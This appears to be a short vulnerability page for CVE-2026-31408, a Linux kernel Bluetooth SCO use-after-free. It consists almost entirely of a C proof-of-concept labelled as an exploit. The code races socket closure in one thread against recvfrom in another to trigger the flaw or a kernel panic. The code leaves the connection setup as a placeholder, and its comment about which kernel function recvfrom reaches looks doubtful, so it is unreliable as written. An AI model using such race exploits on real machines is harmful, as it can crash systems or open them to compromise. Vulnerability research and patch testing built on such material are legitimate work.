CVE-2026-31408 Linux内核蓝牙SCO释放后重用漏洞

/* * Conceptual PoC for CVE-2026-31408 * This demonstrates the race condition leading to UAF. * Requires a Bluetooth adapter capable of SCO connections. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/sco.h> int sock_fd; // Thread to simulate concurrent socket closure void* close_thread(void* arg) { while (1) { close(sock_fd); // Recreate socket to keep the loop going for testing sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); usleep(100); // Short delay to allow race window } return NULL; } // Main thread to simulate receiving frames void* recv_thread(void* arg) { char buf[1024]; struct sockaddr_sco addr; socklen_t addrlen = sizeof(addr); while (1) { // This call triggers sco_recv_frame() internally // If race occurs, kernel panic or UAF happens here recvfrom(sock_fd, buf, sizeof(buf), 0, (struct sockaddr*)&addr, &addrlen); } return NULL; } int main() { pthread_t t1, t2; // Setup SCO socket (Simplified connection logic) sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); // ... bind and connect logic required here ... printf("Starting race condition exploit for CVE-2026-31408...\n"); pthread_create(&t1, NULL, close_thread, NULL); pthread_create(&t2, NULL, recv_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }